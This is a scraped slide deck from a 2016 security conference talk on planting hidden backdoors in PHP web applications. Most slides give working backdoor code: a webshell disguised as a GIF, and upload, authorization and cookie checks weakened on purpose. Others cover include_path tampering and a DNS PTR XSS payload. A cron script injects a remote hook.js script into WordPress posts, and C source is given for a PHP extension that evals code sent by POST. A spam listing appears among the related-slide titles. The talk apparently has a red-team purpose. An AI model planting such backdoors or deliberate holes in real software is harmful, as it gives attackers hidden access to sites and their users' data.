SlideShare a Scribd company logo
1 of 26
Download to read offline
PHP BACKDOOR:
THE RISE OF THE VULN
Sandro "guly" Zaccarini
www.endsummercamp.org
guly@EndSummerCamp 2k16
whoami
▸ Sandro "guly" Zaccarini
▸ born purple
▸ happy to build and break
guly@EndSummerCamp 2k16
agenda
▸ previous work
▸ web backdoor ecosystem
▸ induced web vulnerabilities
^^~pseudocode
guly@EndSummerCamp 2k16
previous work
▸ php backdoor obfuscation@ESC2k15
▸ how to execute code with php function
▸ how to hide/obfuscate a backdoor
guly@EndSummerCamp 2k16
backdoor context: requirements
▸ going in through port 80/443 is mandatory
▸ going out isn't
▸ has to be "hidden"
▸ must descend on application context
▸ should give privileged access
▸ could also be asynchronous
▸ must descend on application context
guly@EndSummerCamp 2k16
backdoor context: environment
▸ application layer: functions, like login and security check
▸ service layer: web server, application server, dbms
▸ operating system: permission, extension, configuration
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ turns a "secure" webapp into a vulnerable one
▸ normally just needs read/write on docroot
▸ "easily" detectable if code is versioned
▸ doesn't survive to a good code review
▸ ...but survives to most coders' review
guly@EndSummerCamp 2k16
backdoor context: application layer
▸ file upload filters
▸ authorization routines
▸ sanity checks
▸ known buggy functions
▸ webapp configuration files
guly@EndSummerCamp 2k16
// fixed upload vulnerability: check if file
type is an image
if (!(exif_imagetype($file)) {
echo "file is not an imagen";
exit;
}
doUpload($file);
File upload exif_imagetype
shell.php:
GIF89a[CUT]<?php
exec($_GET['cmd'])
Comment: Pretend
that doUpload()
simply upload files,
with no further
check.
guly@EndSummerCamp 2k16
//assume just .php is interpreted as php
$blacklist = array('php');
$ext = strtolower(end(explode('.', $file)));
if (in_array($ext,$blacklist)) {
echo "extension blacklisted";
exit;
} else {
doUpload($file);
}
File upload extension with blacklist
shell.PhP
doUpload(strtolower($file));
guly@EndSummerCamp 2k16
$whitelist =
array(".swf",".zip",".rar",".jpg","jpeg",".png"
,".gif",".txt",".doc","docx",".htm","html",

".pdf",".mp3",".avi",".mpg",".ppt",".pps");
$ext = strtolower(substr($filename,-4));
if (in_array($ext,$whitelist)) {
doUpload($file);
}
File upload extension with whitelist
shell.phtml
guly@EndSummerCamp 2k16
$whitelist = array("jpg","png");
$ext = strtolower(end(explode('.', $file)));
if (!(in_array($ext,$whitelist))) {
echo "invalid file extensionn";
exit;
}
// avoid error on writing files with name
longer than filesystem limits
if ((strlen($file)) > 255) {
$file = substr($file,0,255);
}
doUpload($file);
File upload name length
Ax251.php.jpg
guly@EndSummerCamp 2k16
Authorization misuse
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = '0e';
Comment: getRole,
listUsers,listAdmins
are functions present
in admin dashboard

this is a login page
guly@EndSummerCamp 2k16
Authorization misuse[bis]
/* getRole: SELECT role from users where user
= '$user'; */
/* listUsers: SELECT name from users where
role > 0 */
/* listAdmins: SELECT name from users where
role = '0' */
$role = getRole($user);
if ($role == 0) {
isAdmin();
} else {
isUser();
}
alter table users modify role varchar(2);
update users set role = 'a';
if ($role > 0) {
isUser();
} else {
isAdmin();
}
Comment: if we switch the if statement,
we aren't even vulnerable to type juggling
and code analysis won't tell you that you
shouldn't use ==
guly@EndSummerCamp 2k16
function doLogin() {
if ($rememberme) { rememberMe($user) };
doStuff();
}
function rememberMe($user) {
$value = hash(sha256,$user+time());
setcookie('rememberme',$value,time()+(60*60*24*365));
}
function showLogin() { ?>
<html><head><script src=js/loginpage.js></script></head><body>
<form id=loginform>
<!-- don't use, it's unsafe!!
<label><input type=checkbox id=rememberme value=rememberme>Remember me</label>
-->
</form></body></html>
<?php }
/* js/loginpage.js */
$(document).ready(function(){
$('dothings');
$('#loginform').on('submit', function(e){
$('.rememberme')[0].checked = true;
this.submit();
});
});
Remember me cookie
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ normally quite hidden
▸ and not so much detectable
▸ ...if you don't alter application codebase
▸ keeps logs quite clean
▸ almost everytime survives to code review
guly@EndSummerCamp 2k16
backdoor context: service layer
▸ php.ini: register_globals on (PHP <5.4)
▸ php.ini: open_basedir+set_include_path
▸ .htaccess: AddType application/x-httpd-php .jpeg
▸ database tampering: CHARSET GBK
guly@EndSummerCamp 2k16
/*
* php.ini:
* include_path .= "/var/www/html/uploads/"
* open_basedir .= "/var/www/html/uploads/"
*/
function show($context) {
// (pretend) it's safe because of open_basedir and
// include_path = "/var/www/context/"
// docroot /var/www/html/
include $context.'.php';
// $context.php has specific run() foreach context
run($stuff);
}
function upload($file) {
// safe because /var/www/html/uploads php_flag engine off
doUpload($file);
}
include_path tampering
upload guly.php
gu.ly/?context=guly
http://gu.ly/?context=news
http://gu.ly/?context=about
guly@EndSummerCamp 2k16
DNS PTR XSS
function updateLogged($user) {
sanitize($user);
$ip = $_SERVER['REMOTE_ADDR'];
$resolver = new Net_DNS2_Resolver();
$res = $resolver->query($ip, 'PTR');
/* no need to sanitize DNS response, RFC does */
$host = $res->answer[0]->rdata;
$sql = "INSERT INTO tracking (usr,ip,host) value";
$sql .= "('".$user."','".$ip."','".$host."')";
}
function showLogged($id) {
/* input from database already sanitized at updateLogged */
list ($user,$ip,$host) = getRecords($id);
echo "User ".$user.", last login from ".$ip."(".$host.")n";
}
PTR: gu.ly<script/src=//gu.ly/s.js></script>
guly@EndSummerCamp 2k16
DB injected XSS
include "/var/www/html/wordpress/wp-config.php";
$blink = '<script src="http://gu.ly/hook.js"></script>';
$link = mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);
$res = mysqli_query($link,"SELECT ID,post_content as pc FROM
wp_posts ORDER BY ID DESC LIMIT 1");
$row = $res->fetch_assoc();
if (!(strpos($row['pc'],$blink))) {
$query = 'UPDATE wp_posts set
post_content="'.mysqli_real_escape_string($link,$row['pc']);
$query .= mysqli_real_escape_string($link,$blink).'"
WHERE id ="'.$row["ID"].'"';
mysqli_query($link,$query);
}
mysqli_close($link);
/etc/cron.daily/wordpress
#!/usr/bin/php
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ doesn't always need root privileges, but mostly
▸ detectable by sys/network admin, but not by devs
▸ logs should be clean
▸ ...monitoring system shouldn't
▸ could be removed by sys update
guly@EndSummerCamp 2k16
backdoor context: operating system
▸ local SMTP relay
▸ redirect network flows
▸ buggy^Wimproved webserver extension
guly@EndSummerCamp 2k16
phpbd.so
PHP_RINIT_FUNCTION(phpbd);
zend_module_entry phpbd_ext_module_entry = {
STANDARD_MODULE_HEADER, "a safe ext", NULL, NULL, NULL,
PHP_RINIT(phpbd), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES
};
ZEND_GET_MODULE(phpbd_ext);
PHP_RINIT_FUNCTION(phpbd) {
char* method = "_POST";
char* evocate = "evocate";
zval** arr; char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) !=
FAILURE) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, evocate, strlen(evocate) + 1, (void**)&val) != FAILURE) {
code = Z_STRVAL_PP(val);
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC);
}
}
return SUCCESS;
}
POST evocate=system()
/etc/php.ini:
extension=phpbd.so
guly@EndSummerCamp 2k16
mysqli.so
/* {{{ proto bool mysqli_stmt_execute(object stmt)
Execute a prepared statement */
PHP_FUNCTION(mysqli_stmt_execute) {
MY_STMT *stmt;
zval *mysql_stmt;
if (zend_parse_method_parameters(ZEND_NUM_ARGS() TSRMLS_CC,
getThis(), "O", &mysql_stmt, mysqli_stmt_class_entry) == FAILURE) {
return;
}
MYSQLI_FETCH_RESOURCE_STMT(stmt, &mysql_stmt,
MYSQLI_STATUS_VALID);
/**/
// INSERT INTO sessions SET (userid,group,sessionid,expire)
if (stmt->param.var[1] == '0') { //role 0 auth as admin
sendMail(stmt->param.var[2]);
}
100% non-working code!
(php mysqli_api.c)
guly@EndSummerCamp 2k16
backdoor examples
▸ File upload filter by exif_imagetype() (A)
▸ File upload extension with blacklist (A)
▸ File upload extension with whitelist (A)
▸ File upload filename length (A)
▸ Authorization misuse (A)
▸ Remember me cookie (A)
▸ include_path tampering (S)
▸ DNS PTR XSS (S)
▸ DB injected XSS (S)
▸ php ext backdoor (OS)
▸ mysqli.so tampering (OS)
guly@EndSummerCamp 2k16
thanks!
▸ Acta est fabula, plaudite!
▸ Wait wait, any question?
▸ feedback please!
▸ guly@guly.org
▸ @theguly

More Related Content

What's hot

Service intergration
Service intergration Service intergration
Service intergration 재민 장
 
ZeroMQ Is The Answer
ZeroMQ Is The AnswerZeroMQ Is The Answer
ZeroMQ Is The AnswerIan Barber
 
ZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleIan Barber
 
The Joy of Smartmatch
The Joy of SmartmatchThe Joy of Smartmatch
The Joy of SmartmatchAndrew Shitov
 
How to stand on the shoulders of giants
How to stand on the shoulders of giantsHow to stand on the shoulders of giants
How to stand on the shoulders of giantsIan Barber
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Perl web frameworks
Perl web frameworksPerl web frameworks
Perl web frameworksdiego_k
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeLogstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeAndrea Cardinale
 
Webrtc mojo
Webrtc mojoWebrtc mojo
Webrtc mojobpmedley
 
PHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesPHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesEric Poe
 
Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101hendrikvb
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & ToolsIan Barber
 

What's hot (20)

Service intergration
Service intergration Service intergration
Service intergration
 
Perl6 in-production
Perl6 in-productionPerl6 in-production
Perl6 in-production
 
Wsomdp
WsomdpWsomdp
Wsomdp
 
ZeroMQ Is The Answer
ZeroMQ Is The AnswerZeroMQ Is The Answer
ZeroMQ Is The Answer
 
ZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made SimpleZeroMQ: Messaging Made Simple
ZeroMQ: Messaging Made Simple
 
The Joy of Smartmatch
The Joy of SmartmatchThe Joy of Smartmatch
The Joy of Smartmatch
 
How to stand on the shoulders of giants
How to stand on the shoulders of giantsHow to stand on the shoulders of giants
How to stand on the shoulders of giants
 
Inc
IncInc
Inc
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Perl web frameworks
Perl web frameworksPerl web frameworks
Perl web frameworks
 
C99
C99C99
C99
 
Perl 6 by example
Perl 6 by examplePerl 6 by example
Perl 6 by example
 
Logstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtimeLogstash for SEO: come monitorare i Log del Web Server in realtime
Logstash for SEO: come monitorare i Log del Web Server in realtime
 
Perl6 grammars
Perl6 grammarsPerl6 grammars
Perl6 grammars
 
Webrtc mojo
Webrtc mojoWebrtc mojo
Webrtc mojo
 
PHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return TypesPHP7 - Scalar Type Hints & Return Types
PHP7 - Scalar Type Hints & Return Types
 
Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101Web Apps in Perl - HTTP 101
Web Apps in Perl - HTTP 101
 
Malcon2017
Malcon2017Malcon2017
Malcon2017
 
Php Security
Php SecurityPhp Security
Php Security
 
Debugging: Rules & Tools
Debugging: Rules & ToolsDebugging: Rules & Tools
Debugging: Rules & Tools
 

Viewers also liked

Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingAkash Mahajan
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationExploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationVishal Kumar
 
How To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsHow To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsPriyanka Aash
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP ApplicationsAditya Mooley
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013rjsmelo
 
Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Cenzic
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Colin O'Dell
 
A Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security EducationA Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security Educationchunkybacon
 
Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Mark Niebergall
 
Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...POSSCON
 
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersNullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersAjith Chandran
 
Web application security
Web application securityWeb application security
Web application securityKapil Sharma
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Security Testing by Ken De Souza
Security Testing by Ken De SouzaSecurity Testing by Ken De Souza
Security Testing by Ken De SouzaQA or the Highway
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Imperva
 

Viewers also liked (20)

Hackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web ProgrammingHackers versus Developers and Secure Web Programming
Hackers versus Developers and Secure Web Programming
 
Exploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web applicationExploiting parameter tempering attack in web application
Exploiting parameter tempering attack in web application
 
How To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security FlawsHow To Avoid The Top Ten Software Security Flaws
How To Avoid The Top Ten Software Security Flaws
 
Php security
Php securityPhp security
Php security
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
 
PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013PHP and Application Security - OWASP Road Show 2013
PHP and Application Security - OWASP Road Show 2013
 
Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...Essentials of Web Application Security: what it is, why it matters and how to...
Essentials of Web Application Security: what it is, why it matters and how to...
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
A Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security EducationA Simple Laboratory Environment for Real World Offensive Security Education
A Simple Laboratory Environment for Real World Offensive Security Education
 
LFI to RCE
LFI to RCELFI to RCE
LFI to RCE
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!Security in PHP Applications: An absolute must!
Security in PHP Applications: An absolute must!
 
Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...Application Security on a Dime: A Practical Guide to Using Functional Open So...
Application Security on a Dime: A Practical Guide to Using Functional Open So...
 
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team LoosersNullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
Nullcon Jailbreak CTF 2012,Walkthrough by Team Loosers
 
Web application security
Web application securityWeb application security
Web application security
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Nikto
NiktoNikto
Nikto
 
Security Testing by Ken De Souza
Security Testing by Ken De SouzaSecurity Testing by Ken De Souza
Security Testing by Ken De Souza
 
Php web app security (eng)
Php web app security (eng)Php web app security (eng)
Php web app security (eng)
 
Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101Remote File Inclusion (RFI) Vulnerabilities 101
Remote File Inclusion (RFI) Vulnerabilities 101
 

Similar to PHP Backdoor: The rise of the vuln

Debugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionDebugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionIan Barber
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploySimon Su
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy CodeRowan Merewood
 
Golang Project Layout and Practice
Golang Project Layout and PracticeGolang Project Layout and Practice
Golang Project Layout and PracticeBo-Yi Wu
 
Burn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesBurn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesLindsay Holmwood
 
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008phpbarcelona
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applicationschartjes
 
X64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newX64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newYiwei Ma
 
2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Herokuronnywang_tw
 
Curscatalyst
CurscatalystCurscatalyst
CurscatalystKar Juan
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoringTiago Simões
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebMikel Torres Ugarte
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and newLarry Cashdollar
 
わかった気になるgitit-0.8
わかった気になるgitit-0.8わかった気になるgitit-0.8
わかった気になるgitit-0.8Kiwamu Okabe
 
Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)LumoSpark
 
Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Michele Orselli
 
Painless Perl Ports with cpan2port
Painless Perl Ports with cpan2portPainless Perl Ports with cpan2port
Painless Perl Ports with cpan2portBenny Siegert
 

Similar to PHP Backdoor: The rise of the vuln (20)

Debugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 VersionDebugging: Rules And Tools - PHPTek 11 Version
Debugging: Rules And Tools - PHPTek 11 Version
 
Puppet Camp 2012
Puppet Camp 2012Puppet Camp 2012
Puppet Camp 2012
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
 
Living With Legacy Code
Living With Legacy CodeLiving With Legacy Code
Living With Legacy Code
 
Golang Project Layout and Practice
Golang Project Layout and PracticeGolang Project Layout and Practice
Golang Project Layout and Practice
 
Burn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websitesBurn down the silos! Helping dev and ops gel on high availability websites
Burn down the silos! Helping dev and ops gel on high availability websites
 
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008Xdebug - Derick Rethans - Barcelona PHP Conference 2008
Xdebug - Derick Rethans - Barcelona PHP Conference 2008
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applications
 
X64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 newX64服务器 lnmp服务器部署标准 new
X64服务器 lnmp服务器部署标准 new
 
2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku2012 coscup - Build your PHP application on Heroku
2012 coscup - Build your PHP application on Heroku
 
Curscatalyst
CurscatalystCurscatalyst
Curscatalyst
 
How to go the extra mile on monitoring
How to go the extra mile on monitoringHow to go the extra mile on monitoring
How to go the extra mile on monitoring
 
Charla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo WebCharla EHU Noviembre 2014 - Desarrollo Web
Charla EHU Noviembre 2014 - Desarrollo Web
 
Fun with exploits old and new
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and new
 
わかった気になるgitit-0.8
わかった気になるgitit-0.8わかった気になるgitit-0.8
わかった気になるgitit-0.8
 
Hacking with hhvm
Hacking with hhvmHacking with hhvm
Hacking with hhvm
 
Vagrant for real
Vagrant for realVagrant for real
Vagrant for real
 
Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)Web development automatisation for fun and profit (Artem Daniliants)
Web development automatisation for fun and profit (Artem Daniliants)
 
Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))Vagrant for real codemotion (moar tips! ;-))
Vagrant for real codemotion (moar tips! ;-))
 
Painless Perl Ports with cpan2port
Painless Perl Ports with cpan2portPainless Perl Ports with cpan2port
Painless Perl Ports with cpan2port
 

Recently uploaded

KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxTier1 app
 
Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...aditisharan08
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio, Inc.
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxbodapatigopi8531
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comFatema Valibhai
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsAlberto González Trastoy
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationkaushalgiri8080
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfLearn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdfkalichargn70th171
 
The Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfThe Evolution of Karaoke From Analog to App.pdf
The Evolution of Karaoke From Analog to App.pdfPower Karaoke
 
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...
Steps To Getting Up And Running Quickly With MyTimeClock Employee Scheduling ...MyIntelliSource, Inc.
 
5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdf5 Signs You Need a Fashion PLM Software.pdf
5 Signs You Need a Fashion PLM Software.pdfWave PLM
 
XpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsXpertSolvers: Your Partner in Building Innovative Software Solutions
XpertSolvers: Your Partner in Building Innovative Software SolutionsMehedi Hasan Shohan
 
EY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityEY_Graph Database Powered Sustainability
EY_Graph Database Powered SustainabilityNeo4j
 
What is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWhat is Fashion PLM and Why Do You Need It
What is Fashion PLM and Why Do You Need ItWave PLM
 
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...
Russian Call Girls in Karol Bagh Aasnvi ➡️ 8264348440 💋📞 Independent Escort S...soniya singh
 
Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)Der Spagat zwischen BIAS und FAIRNESS (2024)
Der Spagat zwischen BIAS und FAIRNESS (2024)OPEN KNOWLEDGE GmbH
 
Professional Resume Template for Software Developers
Professional Resume Template for Software DevelopersProfessional Resume Template for Software Developers
Professional Resume Template for Software DevelopersVinodh Ram
 
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...
Short Story: Unveiling the Reasoning Abilities of Large Language Models by Ke...kellynguyen01
 
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEBATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASE
BATTLEFIELD ORM: TIPS, TACTICS AND STRATEGIES FOR CONQUERING YOUR DATABASEOrtus Solutions, Corp
 

Recently uploaded (20)

KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptxKnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
KnowAPIs-UnknownPerf-jaxMainz-2024 (1).pptx
 
Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...Unit 1.1 Excite Part 1, class 9, cbse...
Unit 1.1 Excite Part 1, class 9, cbse...
 
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed DataAlluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
Alluxio Monthly Webinar | Cloud-Native Model Training on Distributed Data
 
Hand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptxHand gesture recognition PROJECT PPT.pptx
Hand gesture recognition PROJECT PPT.pptx
 
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...Call Girls In Mukherjee Nagar 📱  9999965857  🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
Call Girls In Mukherjee Nagar 📱 9999965857 🤩 Delhi 🫦 HOT AND SEXY VVIP 🍎 SE...
 
HR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.comHR Software Buyers Guide in 2024 - HRSoftware.com
HR Software Buyers Guide in 2024 - HRSoftware.com
 
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time ApplicationsUnveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
Unveiling the Tech Salsa of LAMs with Janus in Real-Time Applications
 
Project Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanationProject Based Learning (A.I).pptx detail explanation
Project Based Learning (A.I).pptx detail explanation
 
Learn the Fundamentals of XCUITest Framework_ A Beginner's Guide.pdf
